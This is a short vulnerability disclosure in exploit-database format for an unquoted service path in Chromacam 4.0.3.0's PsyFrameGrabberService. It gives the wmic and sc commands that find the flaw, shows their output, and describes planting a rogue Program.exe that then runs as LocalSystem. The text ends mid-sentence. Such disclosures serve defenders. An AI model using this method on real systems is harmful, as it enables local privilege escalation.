Chromacam 4.0.3.0 – PsyFrameGrabberService Unquoted Service Path
# Exploit Title: Chromacam 4.0.3.0 - PsyFrameGrabberService Unquoted Service Path # Exploit Author: Laguin Benjamin (MONK-MODE) # Discovery Date: 2023-19-01 # Vendor Homepage: https://personifyinc.com/ # Software Link: https://personifyinc.com/download/chromacam # Tested Version: Chromacam-4.0.3.0 # Vulnerability Type: Unquoted Service Path # Tested on OS: Microsoft Windows 10 x64 # CVE: In progress # Step to discover Unquoted Service Path: C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ Personify Frame Transformer PsyFrameGrabberService C:\Program Files (x86)\Personify\ChromaCam\64\PsyFrameGrabberService.exe Auto C:\>sc qc "PsyFrameGrabberService" [SC] QueryServiceConfig réussite(s) SERVICE_NAME: PsyFrameGrabberService TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\Personify\ChromaCam\64\PsyFrameGrabberService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Personify Frame Transformer DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\>systeminfo Host Name: DESKTOP-1000 OS Name: Microsoft Windows 10 Professionnel OS Version: 10.0.19044 N/A build 19044 # Exploit If an attacker had already compromised the system and the current user has the privileges to write in the : C:\Program Files (x86)\ "C:\Program Files (x86)\Personify" "C:\Program Files (x86)\Personify\ChromaCam" "C:\Program Files (x86)\Personify\ChromaCam\64" folder or in "C:\" , he could place his own "Program.exe" or "PsyFrameGrabberService.exe" files respectively, and when the service starts, it would launch the malicious file, rather than the original "PsyFrameGrabberService.exe". The service starts automatically at bood and runs in system |